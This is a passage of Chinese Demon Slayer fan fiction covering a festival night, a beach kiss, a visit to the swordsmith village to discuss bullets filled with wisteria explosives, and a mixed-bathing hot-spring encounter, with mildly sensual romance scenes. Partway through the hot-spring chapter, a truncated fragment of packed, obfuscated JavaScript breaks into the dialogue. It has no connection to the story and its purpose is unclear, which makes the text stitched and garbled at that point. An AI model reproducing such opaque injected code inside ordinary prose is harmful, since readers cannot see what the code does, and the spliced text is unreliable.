这些介绍没能让他的语言组织的更加流利,但直到他说起他们的教祖——在他口中被叫作“童磨大人”,生来拥有橡木白的头发与七彩的双眼——那双原本忧虑的眼睛瞬间被兴奋挤满,他几乎是忘我的称颂对方的神迹与他对教徒的平等的爱。而他选中我来传教的原因,除了我是个面生的外来游客,还因为他的教祖认为女人更拥有值得被拯救的意义…… 嗯,不可靠的因素这不是已经拉满了吗? 而且传教业务也太不熟练了吧?我想着,从口袋中取出一个十字架的吊坠——其实那只是个装饰品——银色的十字架从我指尖翻落下时轻轻晃荡,反射着浓烈阳光后刺目般显眼:“抱歉,我已经有信仰了。” 杏寿郎已经拿着铜锣烧走进茶楼,正向我的方向靠近。他有些疑惑地看着身边这个男人,用不解的视线无声询问我。 我耸耸肩,告诉他:“我的神与我同在。” “没想到日本也有这样的事。”去往宫津市的车上,我和杏寿郎反映方才的情况:“说句大不敬的,如果世界上真的有神的话,为什么还有鬼的存在呢?难道他们的神认为世间生灵一切平等,所以也保佑着鬼吗?” 杏寿郎笑了下,他并不觉得奇怪,“他们需要信仰,因为很多时候他们不能改变自己的命运。” 为什么人需要精神寄托,因为所谓尽人事哪怕做到极致仍然需要听天命,并非有哪一件事是真正可以由人类完全掌握在手中的。 我对此感到疲惫。 “他们说着统一的话术,用一些模棱两可的话来解释,神爱世人,神会保佑你,但是神却不会解决你的贫困和疾病,神只会在你死后带你升上天堂得到安息。”我可不认为当初自己不做好万全准备,只在教堂里祈祷就能救下杏寿郎的生命。但话一出口,我还是立刻就发现这观点太过尖锐了,下意识瞥向副驾驶位置上坐着的嘉泽乐。她神情良好。我默默把没说完的话咽回肚子里。 炼狱杏寿郎用自己宽厚的手掌拍拍我的头顶。他从不与我争执辩论,即使我相信在很多处事观点上我们的看法并不一致,可他性格中温和的包容依然会理解我的想法,并且接受我的观点。我们体谅对方、理解对方,再用自己的方式去帮助对方。这是构成我们之间紧密联系的底色。 但我最终还是忍不住:“肖恩,等空了让人去查一下那个叫作万世极乐教的地方吧。” 肖恩顺从地应下。 到达宫津湾时,祭典将要开启。 京都历来有着名为“祇园祭”的祭典,是用以祈求洁净、消除瘟疫的节庆。宇髄先生规划的这次祭典规模上虽不如官方举办的祇园祭那么隆重,却也非常盛大。 附近神社里的神官们引导着围观的群众分列两旁,将道路清出。走在最前的巫女捧着礼器与祭品,跟在两侧的仪仗吹拉弹唱演奏伎乐,许多穿着传统的男人抬着一顶顶装饰华美精致的花轿参与巡游。 我和杏寿郎跟着人群慢慢移动,直到宇髄先生所在的那辆花轿出现。 那显然是今天这次祭典的压轴。 与先前行过的竹制花轿截然不同,这辆花轿的主体是一小栋二层木制建筑,巨大的轿楼精美无比,胜似实地搭建而出的传统和式建筑,一楼两侧的木壁贴着绣花精美的西阵织作为装饰,屋顶上以金光闪闪的金箔打底,绘有浮世绘般的民俗画。宇髄先生承袭自己一贯的华丽装扮,站在轿上挥动祭扇,雏鹤她们则站在二楼吹奏乐器。 几个担任力夫的男人拉动花轿缓缓前行,宇髄先生轻易在人头攒动的人海中捕捉到我和杏寿郎的位置,他勾起一个笑,向我们的方向掷一柄祭扇。 杏寿郎眼疾手快地接住了。他站在我身后的位置,一伸手就能将我整个容纳进怀抱,这是摩肩接踵的拥挤人流中他保护我并且避免我们走散的方法。 在人群因为宇髄先生的行为响起骚乱前,杏寿郎利落地张开扇子,遮住我的脸,拢着我离开。 我们先是艰难地逆着潮流挤出人海,接着他顺势牵住我的手带着我小跑开。巡游的队伍最后会去到神社,而我们逃跑的路径最终中断在庙会。 他把祭扇合拢后别在腰间,不知为何我被这一系列行径逗得直想笑。为了融入气氛,我们都穿着浴衣,轻装简行下,杏寿郎连羽织都没穿。 现在站在这里的有栖川朝和与炼狱杏寿郎脱离了鬼的侵扰,只是人世间最普通的两个人。 我们默默走进庙会的热闹中。 各式各样的摊贩聚集,小吃和活动应有尽有。我拉着杏寿郎停在一个售卖面具的摊位前,买下两个狐狸纹的半脸面具和他一起带上。 外祖父帮我请来专门拍摄一些祭典相片的摄影师正全神贯注地摆弄着相机支架。 而从我的视线中,金红色头发的杏寿郎戴着那个绘有红色狐火花纹的狐狸面具时,的确像极了传说中的不可轻易触碰的狐妖。 不远处炭治郎他们几个孩子正聚在一桌吃着炒面。祢豆子也在,她乖巧地坐在炭治郎身边,咬着竹节,平静地看着周围川流不息的人群。 “味道怎么样?”我歪过身子询问道。 他们惊喜地认出我和杏寿郎,异口同声地同我们打起招呼。炭治郎直到前两天才苏醒,但万幸的是他恢复得很快,醒来后没多久就能活蹦乱跳。这段时间他们几个太辛苦了,诸多变故都参与其中,能有今天的休憩时光,更应该好好享受。 我大方地替他们结了账,带着杏寿郎走开了,为他们留下休息的空间。 父亲和母亲也来了。他们没有品尝食物,倒是停留在一个贩卖折扇的小摊前,父亲手中拿着毛笔,轻轻蘸取颜料,安静地在扇面上绘出母亲的肖像。不用我们靠近,母亲就已经发现了我们,她瞧见我们紧握的手露出一个了然的笑。我立刻拽着杏寿郎跑开,试图借风来安抚耳垂的燥热。 庙会搭建在海滩边,摊贩沿着道路延伸,灯火通明中点亮了海岸线。我们看到千寿郎正在用纸网捞金鱼,从他垂头丧气的表情来看战果并不理想。 “还好吗?”杏寿郎突然出声,专注于己身的千寿郎被意料之外的我们吓了一跳,原本小心翼翼盛着金鱼将要抬起的纸网因手抖而猛然破开。他在那个瞬间露出了相当沮丧的灰败表情,摊主看得哈哈大笑。 “兄长……朝和小姐……”从他的声音里可以听到怨念。 杏寿郎缴纳200日元重新获得两个纸网,他将其中一个递给千寿郎,用剩下那个作为示范,示意他看好。 “手要平稳,眼疾手快,不能犹豫。”在我指出一条金红相间的金鱼后,他飞快挥过纸网,浅白掠入水中,脆薄的沾了水便会轻易破裂的纸网在杏寿郎手中变得坚韧,结结实实地盛起那尾小鱼。不等金鱼反应过来开始挣扎,他已经将之倒入碗中,“但是动作要轻柔,不能太用力。”他补充道,我们这才注意到他手中的纸网没有一丝裂痕。 “试一下吧。” 千寿郎深呼吸着抬起纸网。他的手正在轻轻颤抖,杏寿郎轻柔地拍拍他的肩头,再次宽慰道:“不要 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我会跟着父亲去海钓,也会一个人在沙滩上漫无目的地行走,踩着拍上海岸的浪花,白色的潮沫流过我赤裸的脚趾。这时候安静会促使我想很多事,我经常会思考自己的未来、未来的自己,我当然想象过总有一日我会再次回到大和这片土地,但是…… 但是当时的我绝没想到自己的未来会是这样。 我把木屐踢在一边,手袋挂在手腕上,拉着杏寿郎沿着海水打湿了沙滩的那道蜿蜒漫步。 圆月浸了半身在海里,月轮硕大的仿佛在咫尺间,将海天交接处染出模糊的亮色。 海水反复冲刷过我们的双足,但并不冰冷。杏寿郎始终紧紧牵着我,他的体温就这样蔓延过来。 我们有一搭没一搭地闲聊,说着一些无厘头的闲话,任由静谧感染灵魂。直到看见不远处有几个老人手中捧着一簇亮光走向大海,才不由向他们靠近了些。 杏寿郎顺着我的力气,我们站定在能够看清的位置,原来他们手中拿着的是一个纸糊的四角灯笼,其中烧着一截小小的蜡烛。夜风中烛光不断跳跃,却始终没有熄灭。 老人将灯笼推进海面,我这才发现原来灯笼乘在一艘小船上,顺着起伏的波涛倏忽飘远了。 最初只有几个人,但慢慢地聚集的人越来越多,其中有男有女有老有少,他们未必相识,却都统一捧着一个灯笼,沉默无声地将它送进海里。宫津湾平静的海面上吹起细微的夜风,没让人感觉到寒冷,就已经将灯笼一盏一盏送远了。 我看到炭治郎牵着祢豆子也在其中。 无数闪烁的火光汇聚成海上的银河,海面仿佛天火燃烧,飘飘荡荡地流进大海。 “那是什么?” 杏寿郎出神地看着面前的景象,从他赤金色的双眼中倒映出的海面让我想起那个关于不知火的传说。而故事中海绵燃烧的灵火此刻真实存在,它们由一个又一个人类放逐而出,成为此间自由的一部分。 “在宫津有这样的传统,人们会将海灯装在精灵船上流放,用以纪念逝去的亲人,传达自己的思念。” 我挽住杏寿郎的手臂,与他一起宁静地看着面前庄严的奇景。 但灵魂深处的寂静不过片刻,犹觉不够,我不由挽住他的手臂。 杏寿郎似有所感,只伸手按住我挽着他的手,他掌心地热便制止了我不明的忧愁。当我抬头去看他时,他也正看着我。 我们对视着,在数以万计的海灯飘摇中,海风拂来的潮湿的咸涩中,在万籁俱寂如同只容纳得下我和他两个人的空间里,我猛地扑进他怀里。只要有炼狱杏寿郎在我身边,就感觉一切都是可以被解决的。 “朝和……谢谢你。”其实我并不知道他这句话的用意,但我可以猜到。 我钻出他的怀抱,踮脚在他脸颊上——天啊,因为想法出现得太过突然,我的嘴唇只贴着他的下颌骨擦过——飞快地亲了一下。 他愣了愣。 我诡计得逞地笑出声。 他没说什么,但更用力地牵住我的手。我心头柔软得一塌糊涂,将他的面具慢慢掀起,那双凌厉的眼睛中脉脉流淌的净是柔情。 “杏寿郎……” 他当然不会躲避我的视线,每每对视,率先为此感到羞涩而移开双眼的总是我,他永远赤忱地袒露自己的情绪,自然且毫无保留地表达一切。 这次,我就在他的注视下轻轻地将吻落在他嘴唇。被风染上些许凉意的唇瓣只有在紧贴那一刻感受到温热,也仅在那一刻,我们的心跳互相牵动着对方的灵魂。 杏寿郎什么也没说,却在我即将再次因为害羞而垂头时忽然伸过双手摘下我的面具。 “咦?” 不等我作出反应,他却缓慢地、不容抗拒地倾身压下来。 好像这才是一个真正的吻。他的唇瓣因为我刚刚的动作微微的潮,灼热的呼吸散落在我脸颊,我能够清晰地听见他呼吸的韵律。[海边、海灯、亲亲] 与我玩笑般的触碰不同,这会儿我们的气息彻底交融在一起,我的心跳瞬时剧烈躁动起来,某种配合着紧张的情绪催促我不由抓住他的手臂。我需要紧贴着他才能找到感知的落点,才能清晰地明白自己这一刻真的存在。 杏寿郎的一只手掌正贴在我后颈,缓慢地抚摸着那片皮肤,而他指间薄薄的茧痕加大了感官的刺激。我变成无处可逃的困兽,被束缚在名为炼狱杏寿郎怀抱的囚牢,当我试图躲避时,他便更用力地将我按向他的身体。 太热了。 已经感受不到微凉的夜风,海水没过我双足时的冰凉不足以浇灭内心深处升起的火,这种灼热具有破坏力,可以轻松摧毁我的理智。我快站不稳了。杏寿郎便将另一只手按在我腰间,支撑着我软下的双腿,隔着浴衣薄薄的布料,他掌心的滚烫翻腾着——是我的心潮沸腾。 我说不出这种感觉究竟是什么,大脑混沌一片,只是交换着彼此的气息。 润泽的水声炸响在我耳畔,除此之外一切声音归于寂静。 而从他身体传递来的灼热几乎烫伤我的知觉。 忽然,一朵金色的烟火炸响,几乎遍布大半天穹。 这正是以黑夜为幕布的表演前奏,且以此为开场的号角,紧跟着一朵又一朵地次第迸发出更多的烟火,各形各色样样皆有。数不清的色彩骤然开放,单薄的文字难以描述,纵然是最天赋卓绝的画家恐怕也不能全然调制出相似的场景。 烟火们相继拥挤着展现出属于今夜的独特繁春,占满整片夜幕,映衬着无边夜色,将波光粼粼的海面染上一片斑斓。 浓艳的色彩渲染着寂静的夜,杏寿郎将我抱进怀里,我靠在他胸口。我们共同享用这一刻的安宁。 44. 冶锻 斑鸠的叫声与众不同,从那个看似普通的喉咙里能够轻易发出高昂的啼鸣,一迭串咕咕声连续成某种怪异的笑声,打破早晨的宁静。 微凉的天气没有色彩,将阳光褪化成浅薄的白。透过半开的推门落进室内,率先打亮床铺前的那方席面,接着才游移到我脸上。隔着闭住的双眼,沉静的梦也就失去了安眠的特征,扰乱成一片光怪陆离,像是流淌不息的河面反射过阳光。 我下意识想往被褥里躲去,埋下头,挡住光线,重归黑暗的睡眠。 但斑鸠叫得越来越响,穿透过现实与梦境的壁垒,甚至停留进我的梦里。我不满地坐起身,尚且陌生的环境后知后觉为我的感官附加了不安感,古朴简洁的和室里没什么装饰,席面上铺开的被褥只有还藏着我的这一套。 除我之外没有别人。 斑鸠飞走了。 我小步挪到门边,再轻轻拉开些许推门,滑轨顺畅地滑动。我揉着眼睛,屋外的天光逐渐展现。 这是一个不似夏日,带有清寒的早晨,单薄的寝衣显然无法隔绝气候,但我没有感受到似的。只在看见坐在屋外的男人后眷恋地从后面抱住他。侧脸抵着他宽阔的背,能够嗅到他身上衣裳饱经日晒的温暖,半长的发悄悄拂过我的眼前。环在他腰间的双手被一只更温暖的大手按住,他微微侧过身,声音比今天早上的太阳还要温暖:“醒了吗,朝和。” “早上好,杏寿郎。”我含糊地同他打招呼,还没睡够的本质暴露在自己带有些许倦怠的声音里,之后紧追着一个小小的哈欠。 不应该说是没有睡够,更应该说是没有睡好。[清晨山间背后拥抱] 我们如今所在的这里是刀匠村,世代为鬼杀队锻造武器的刀匠们就居住在这里。 夏日祭圆满结束后,我和杏寿郎就开始为前来刀匠村做准备。事实上杏寿郎的刀应该由专属刀匠制作后送来鬼杀队,但先前他的身体一直不好,而且发生了太多事,对于呼吸法的运用也产生了理念的改变,他便请刀匠暂缓了日轮刀的制作。 如今消灭上弦之鬼后,鬼杀队与鬼之间维持近百年的平衡终于打破,我能感受到众人心中那种澎湃起来的紧急,杏寿郎的日轮刀制作也就被迅速提上流程。 之所以我们会出现在这里,也与此有些关联。 针对鬼进行的新式现代武器开发已经接近完善,但是对于猩猩绯砂铁和猩猩绯矿石的冶炼还需要仰赖刀匠村的锻造技术。如果可以,我希望能与刀匠村进行更深层次的合作,由他们提供尽可能大批量的产品。 但刀匠村与主公的居所类似,都是鬼杀队的命脉所在。刀匠村被以特殊的方法隐藏在某座深山之中,别说寻常人,就是拥有血鬼术的鬼也根本无法找到。在和杏寿郎、宇髄先生,甚至不死川大人交谈后——不死川大人不知道在外面做了什么,他又一次找到我向我索要子弹,但那时我正和负责武器研发项目的京极先生就弹壳的改造困境进行讨论。听到我们的纠结后不死川大人冷笑了声,用他一贯的凶恶表情一句话就打破了我们的迷途:“为什么不去刀匠村问问?”——是的,最先提出去刀匠村的正是不死川先生,点拨我们之后不死川先生照旧拿走了各种子弹的试验样品。 总之,在探讨了可行性后,我正式向主公提出前往刀匠村的请求。 主公同意了。 我们在一个清晨出发,起点是蝶屋。一个不认识的隐部成员前来为我们指路,她拿出眼罩、耳塞等物品,在解释了刀匠村地点的隐秘后示意我将五官遮住。不过杏寿郎并不用。他看着我茫然不解的表情,露出一个忍俊不禁的笑,向我保证道:“别担心,朝和。”他亲手为我遮住双眼,然后让我靠到他的脊背上将我轻松背起。 “炎柱大人这……”隐部的成员声音慌乱。在原计划中应该需要她背着我前去刀匠村……不该这么说,应该是前去中途一个站点,之后会有另一个隐部成员接替。为了保证刀匠村位置的隐蔽,其中要由十多位隐部成员交替前进,每个人只负责一段距离,并且不断更换前进的路线。 柱大人大约不需要恪守这条规则。 “没关系。”杏寿郎结实的双臂圈过我的腿,将我往上颠了颠,我随着这股力起伏了下,无措地把手按在他肩头。过了会儿,我才松懈下来,紧紧靠在他背上,环住他的脖子。 炼狱杏寿郎用那种逗哄孩子的语气开口道:“我们要出发咯!” 哪怕是以杏寿郎的速度(我觉得他一定是考虑到要照顾在他背上的我,所以刻意放缓前进的速度,让路程不必太颠簸),我们到达刀匠村的时候也已经到了午后。我早在他背上昏昏欲睡,被杏寿郎平稳地放到地面站稳时,还半梦半醒。 面前展现的是一个小小的村落,建筑并不多,但样式格外新,看不出丝毫时间的痕迹,多层建筑搭配着洁净的玻璃窗户,某一幢建筑更是有着近似西式的屋顶,在午后灿烂的光线下,琉璃瓦铺就的屋顶闪闪发光。 放在东京都街头也能完美融入城市气氛的建筑群,我不可思议地张开嘴,想要感慨却不知该说些什么。 “就是这里了。”杏寿郎伸手为我整理了长途跋涉而略显凌乱的长发,温声解释后带着我进入。 刀匠们似乎都认得他——啊,毕竟是炎柱大人嘛——他们有听说杏寿郎的事,便追问着他的身体情况,在得知已经彻底痊愈后,众人都露出安心的表情。 毕竟是杏寿郎啊! 在得知我们寻找村长有事商谈后,众人为我们指出村长所在才纷纷散去。 我当然想象过村长的样子。 我从前见过铁匠,并非打造农具的那种,而是专门铸造□□的专业匠人,他是伊朗人,身体里流着传承自波斯的血脉,身材高大健硕,力气极大,是天生锻造大马士革钢的人才。在他手下,金属熔炼赤红后听话得像是面团,轻易就能折叠锤炼,最终形成精美繁复的穆罕默德纹。父亲曾经赠送了一柄他制作的匕首,这柄美丽名贵的利器无愧于传承千百年的美名,削铁如泥并非夸张。 所以我想当然地认为刀匠都应该是这样:有着两米的身高,夸张的肌肉群,古铜色的皮肤上隆起血管,面庞坚毅,眼神执着——咦?这描述听起来怎么这么像岩柱大人——但是,当我和杏寿郎随着众人的指引走进一间锻造工坊后,我的所有刻板印象都被打破。 一个个子可称矮小(我绝无不敬)的男人,头发花白,戴着一个据说是火男的面具,正威风堂堂地挥动着看着没比他小多少的铁锤猛力砸在面前赤红的钢刀上! 铛—— 铛—— 铛—— 火光四溅,金属的锤打声如惊天霹雳,将昏暗的锻造室内映出一片灼热的赤红。村长专心致志,将锤打过后的剑刃浸没入冷却水中,滚烫燃起凉薄,沸腾的气泡烈烈鼓动,空气死去的哧声许久不绝。被投射在墙壁上的村长背影显得无比高大,像是锻造的工匠之神亲临此间。 我必须为我的浅薄道歉。我忍不住捂住心口,这画面具有的差异实在太过庞大,庞大到我不敢多看。杏寿郎却误以为我初来冶炼处而身体不适,关切地扶住我轻声询问道:“还好吗?” 我摇摇头,刚想说什么…… “啊啊啊啊啊啊!” 一声娇俏的尖叫响起,我下意识看向外头,寻找声音传来的方向,一个粉绿色的身影就这样迅猛地撞进我的视线,她急速狂奔而来,猛地向我奔来:“朝和酱!!!好久不见了!!!” 是甘露寺蜜璃小姐! 我刚想迎接她,但不等我摆出欣喜的表情,她已经冲到我面前,速度丝毫没有削减地整个扑向我——她紧紧抱住我,我下意识也紧紧抱住她,我感觉到她的力量正与我叠加,我踉跄了下,我没站稳,等等等等!一种不祥的预感随着我对身体的失控凭空占据我的全部意识,悬浮的失重感已 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“能够见到你们真是太开心了!”她兴奋地捂住脸,脸颊已经红彤彤的,随着更多快乐的话语冒出来,额上隐约冒出薄汗。“听说花街出现了上弦之鬼,我一直很担心你们!但是幸好你们都没事,能把上弦之六斩杀真是太好了!”她牵着我的手无意识地晃来晃去,寒暄很久后才想起问我们的来意:“杏寿郎哥哥是来锻刀的吗?” 杏寿郎点点头。 村长似乎没有那么快能解决手中的工作,锻造一事也无法随意暂停,我们走出锻造工坊,由一位村人领着前去客舍休息。 “小蜜璃呢?也是来锻刀吗?”我可不会小瞧面前这个漂亮的女性,能够成为柱的人一定有着无与伦比的实力,无论是蜜璃还是忍,作为女性她们所付出的是更加巨大的努力。不过,近来没有听说有高危险性的鬼出现,以蜜璃的实力在对战寻常鬼的时候会损伤日轮刀吗? 蜜璃摇摇头,向我解释道:“我的日轮刀比较不一样,是具有特殊柔韧度的伸缩刀,需要定期来锻刀村维护。” “伸缩刀?!”还有这种技艺?真想见识一下。 蜜璃大力点点头,“就是村长刚刚修整的那柄!是村长特制的。” 啊!我对村长的敬佩无疑更上一层楼。 村人将我们引到住所后就离开了,布置典雅的小院子里树影摇动,我们在游廊上坐下。杏寿郎忽然问道:“最近周围情况如何?”之前说过,每个柱都有自己负责警戒的区域,杏寿郎所负责的是东京地区,而蜜璃就正好负责守卫刀匠村附近,这样她前来修缮刀具也很方便。 听到杏寿郎的问题,蜜璃难得安静下来,她沉思着,浅叶绿色的眼睛微微眨动,片刻后才认真地回答道:“没有什么异常呢。不过最近好像连那种很低级的鬼都变少了。” 上弦之六的死亡是划破天色的惊雷,必定会带出一连串的改变,如同亚马逊丛林里扇动翅膀的蝴蝶,但那一瞬息导致的飓风究竟会在何时出现呢? 气氛陷入沉默,杏寿郎似乎在思考什么,眉间微微折起,一副严肃的样子。而我……那天花街炸响的火焰重新升腾在心间,我怀揣着无法言说的惴惴不安,仿佛无能为力地徒劳等待着那一天的出现,能做的只有尽人事。 蜜璃或许是感受到我的情绪低落,小心翼翼地贴近我身边,半靠在我肩头,在我耳旁轻声说道:“朝和酱,刀匠村附近有温泉哦,疗养效果超级好的!晚上我们一起去泡吧!”说着她晃晃我的手臂,冲我眨眨眼,露出一个大大的笑。 我之前也体验过一些温泉,不过大多是东京都附近,已经被开发建设成近似精致景点的区域,泡在其中享受成了其次,消费倒变成最重要的,体验感也就下降不少。在来刀匠村前,雏鹤小姐她们也同我说起过刀匠村附近的温泉,他们这一家四口闲暇时就在各处寻觅温泉,因此说起这个话题可谓头头是道。除了大众熟知的,还同我介绍了另一处坐落在山林间,少有人去蝶屋温泉地点。 前来刀匠村,泡温泉自然也在我的日程规划上。现在蜜璃提起,我也就正好应下,点头同意。 杏寿郎在一旁轻轻地笑了声。 45. 温泉 直到晚饭后村长才暂停手上的工作,得了空闲与我商谈。 或许是对战斗产生了全新的感悟,杏寿郎对新的日轮刀产生了与从前不同的要求,他先前的刀镡赠送给炭治郎后,也需要更换一个新的。午后因为我实在困乏,他没有外出而是选择陪着我在住处休憩了些许时候,直到这会儿才去和刀匠沟通日轮刀的铸造。他把我送到村长的住所,为我们互相介绍完毕后才离开。 脱离锻造工坊昏暗炎热的空间,摘去村长挥舞铁锤锻打剑刃的滤镜,正坐在蒲团上身材堪称娇小的村长穿上了和服常服,两只手平和地揣在腿上,他和村子里任何一个人一样牢牢戴着火男面具,只有因为年龄增长而逐渐消退的发际线暴露出些许头皮的光滑,让人清晰地感受到他身上苍老的痕迹。但即使如此,要我把现在的村长和先前锻刀的村长联系在一起,还是让我感受到无比的难以接受。 “你好,有栖川小姐。”开口是和蔼可亲的音调,他的声音细细的,“老朽名叫铁地河原珍铁,已经从主公那里得知了你的来意。” 我还以为要同他就武器锻造这一点好好地掰扯许久,至少要说明长远来看对于鬼杀队的益处,再借有栖川家族的财力许诺从此以后对于刀匠村全方面地支持。但事实上村长对我的来意表现出的理解简直宽容大度,他只说了那一句话后就直白地询问我是否带了设计图稿。我想他的爽快之中自然少不了主公的斡旋。 猩猩绯砂铁和猩猩绯矿石这两种矿石是稀有资产,虽然并不至于很快就面临挖采枯竭的困境,但就其对鬼的特殊杀伤性能来看,无疑是鬼杀队需要率先保护的资源。而武器研发这方面,虽然我一直对这个项目的推进抱有必需的信任感,但从目前的一些实验结果来看,确实并不足以验证子弹一定对鬼有着稳定效用,而取走最多子弹的风柱不死川大人……他从不告知情况,也不同我们交流细节,我只能猜测他用鬼做了伤害实验,但究竟能不能仅凭着子弹就了结鬼的性命呢? 看来我还是得去亲自试验。 正想着要去哪里找个鬼测试子弹伤害时,村长身后的两位刀匠检查着我带来的子弹样品,而他全神贯注地阅览着弹壳的施工图——这是父亲带来的。兰德家族在大洋彼岸的岛国上拥有媲美黑暗的实力,家族得到女王厚爱,多年来一直经营着诸多灰色产业,其中自然也涉及军工。我的父亲很多时候是一个温文尔雅的翩翩君子,伪装强大到任何人都无法相信他的真实身份其实也是一位军火商人——用最精确的刻度标明的尺寸与形状,清晰展现了我想要的成品。一种类似空尖弹的子弹,弹腔内灌注以忍特制的毒药或者混合有紫藤花粉末的炸药,弹头处设计得轻薄易碎,但能在击中鬼的瞬间炸开,将矿石碎片扎入皮肉。而这时,子弹内藏着的杀机就能趁机钻入鬼的血肉。 如果爆破的效果能够控制得更好,那么甚至可以做到子弹击中脖子后仅凭爆炸就能打断鬼的头颅。 不过这目前来看只是一个幻想,但就我个人使用枪支的经验来看并非没有可实现的可能性。但是考虑到使用的便捷,枪支的首选只能是手枪,而非猎枪。可惜! 不过村长对这个项目很感兴趣,我们畅聊许久,两位刀匠为我展示了刀匠村各个家族专精的机关铸造技术后,我忍不住取出手枪为三位展示了自己的射击技能。以我的现代化的眼光来看,时代的改变注定贯穿灭鬼的路途,除去子弹之外,炸药的使用才是最凶悍的。 鬼那么难杀,能有炸药杀伤力大吗? 话说到兴头上,时间匆匆流逝,毫无所觉。等说得感到疲累,我忍不住打了个哈欠时,大家才发觉天已经黑了。村长善解人意地提出中断交流,下次再续,并安排了村人送我离开。 杏寿郎早已沟通完毕日轮刀的需求,来村长的居所短暂等待后,见我们一直没有停止的打算,便先离开了。 “有栖川小姐是要回住所,还是想去体验一下我们这里的温泉呢?”村人为我引路。 “小蜜璃呢?”我想起下午与她约好要一同去泡温泉,便打听起她的下落。 村人解释道:“村长修缮过日轮刀后,恋柱大人去试用了。这会儿应该在锻造所等待村长沟通细节吧。” 我抬头望了望夜色。 深蓝色的天幕遮拢视线,圆月缀在半空,散发出暖融融的光芒,氤氲在周围薄雾般的云层之上,像极了一颗咸蛋黄,色香味俱全。 “那我先去温泉吧。”我思量着时间,不确定蜜璃需要多久。但到了此刻,一天的奔波与下午未能尽兴的短休综合在一起,混杂成双倍的疲惫,顺着我的四肢延伸,堆积在腰腹,隐隐感觉直不起身。 灵魂也叫嚣着想要温泉的慰藉。 村人闻言,立刻热情地带我前去。 沿着蜿蜒的山路漫步片刻,踩着染上月光的石阶,我们逐渐远离村落聚集的房屋,进入一片寂静的山林。繁茂的树丛挤挤挨挨,绿叶在风中婆娑起舞,摇曳着树荫,间或漏下几丝月光。他将我送到入口处,林立树干间盘旋而上的半路步道尽头坐落着一座和屋。“往上走就是了,”他指引出方向,兴奋地向我介绍,“我们村的温泉功效很多,对割伤、烧伤、痔疮、肛裂、便秘、痛风甚至失恋都有奇效!” “啊……啊。”我愣愣地点头看向上方,独自拾级而上。温泉所独有的硫黄味已经很浓郁了,熏染在我周身,虽然不至于叫我头晕目眩,却还是有些不适应。 刀匠村的温泉是全露天的,只在边上搭建了两间和屋用以更衣。两间和屋分隔开男女,我在一边换下衣裳,为了便利出行我选择了更日常的衣裤搭配,但皮鞋无论如何不适合长途行走,挤压着脚趾与后跟,磨得生疼。我光脚踩在地面后,被微凉的触感冰得轻声喟叹。 为了方便泡温泉之后可以回住所休息,刀匠村还为我准备了寝衣和防寒的羽织。衣裳叠起安放进一个收纳柜中,我盘着长长的发,走向温泉所在。 今天是一个舒适的夏夜,深沉夜色中气候并不沉闷,大约是已经习惯硫黄在空气中散步,我感觉到呼吸归于自然,小心翼翼地踩进朦胧的雾中。 气候叠加温泉的热,叫水汽愈发蓬勃,浓郁地聚集在眼前,自下而上蒙得严严实实。我当下什么看不见,只听见些许水声。 咦? “小蜜璃吗?”该说什么好?下意识以为是蜜璃早解决日轮刀的修缮,所以来到温泉,这应该是我刻板印象的一部分,对于日本的民风民俗总想当然,“你的日轮刀已经好了吗?” 我往温泉边又走近了些,这是一口天然形成的温泉,淤积在一个宽敞的池内。池子里只做了简单的修缮,边上围着一圈圆润的巨石,底下水清得可以轻易看见铺平的石面。 水声停了。 我正想再说些什么,林间忽如其来地升腾起一阵夜风,并不冷,没有被浴巾围住的身体只感受到雾气贴上肌肤微润的潮湿。更多的是眼前雾障一般的水汽悄悄散去大半。 “啊!”一声惊叫挤出我的喉咙,在我看到温泉里坐着的炼狱杏寿郎时! “杏寿郎!”意料之外让我抛弃已久的尊称重新回归,追着我的语句缠着不放。我清清楚楚地看见……炼狱杏寿郎散着头发,上身赤裸地坐在温泉里,身边漂浮着一只圆形木盘。他正看着我,刚来得及露出一个灿烂的笑。 我的眼睛……我控制不住地将视线往下滑去,从他的脸移动到他的颈下,有力的肌群形状健美,手臂和胸膛上肌肉的线条性感地隆起,不用细想就能猜到其中藏有多么夸张的力量。波纹轻晃的水面上浅薄的水汽没能遮掩住他肌肉紧实的腹部,再下面围着浴巾……我猛地伸手捂住脸——天啊!这到底是什么情况?我慌张地左右张望,想搞清楚这境况,但我不论再怎么疲倦都不至于走错路,更何况更衣室出来只这一条小径……父亲和母亲曾同我说过却被我遗忘的关于男女混浴的传统终于涌上我的大脑。 在这一瞬间我听不见任何声音,因为心跳声已经爆炸般轰然作响,一股滚烫的热意瞬间攀上我的脑袋,无论是耳朵还是脸颊都沸腾着无法言说的羞意。世界整个是模糊的,我不知道自己这会儿整个人得有多红。 “朝和还不下来吗?”炼狱杏寿郎该死地在这个时候开口,他声音里带着无法掩饰的笑意。我将视线从分开的指节间投出,恰好看见他正盯着我笑的目光。 “请别说了……”害羞快让我颤抖起来。 温泉的水温比我平常在家泡澡要略高一些,最开始试探地将脚伸进时,体感微微的烫。但不多时我就接受了这温度,能够安然地泡在其中,背靠着微凉的石头,任由温泉水浸没我的四肢,将温暖的气息融进我的体内,祛除这一天的疲惫。 水声哗啦地响起,我睁开眼,将远望的目光逐渐收近、转移,尽量自然地落到不远处的杏寿郎身上。他伸手推动那个木制圆盘,将它推向我。 “要吃点心吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下一个吻便落了下来,从他口中我尝到那盏茶的清香,灼热让我无暇顾及气息的混乱,但环境却始终拨弄我的脑海中警戒的弦,我总担忧着会有人闯入,总分心去探听远处的风声。杏寿郎目光沉沉地看着我,某种晦涩被解构成欲色,让他近乎痴迷地轻轻啄吻着我的脸颊、耳垂,呼吸粗重地埋首在我颈间,复又回到唇瓣。他小心翼翼地轻舔过我唇角,我的喘息像一声轻泣,被他的再次深入堵住。 舌尖交缠,咽下他的气息,我几乎软在杏寿郎怀里,被他紧紧禁锢在臂弯,却情不自禁向他身上靠去。手无力地撑在他的身上,排列紧实的肌肉蓬发着隐藏的力量,柔韧的触感引诱着我再多去触摸几下。作为交换是按在我后背的那只手,灼热从他的掌心一直蔓延向我全身,连脚趾都酥麻地缩起。他的手移动着,最终只是按在我腰间,将我往他身上抱近了些,我们便更近地靠在一起。 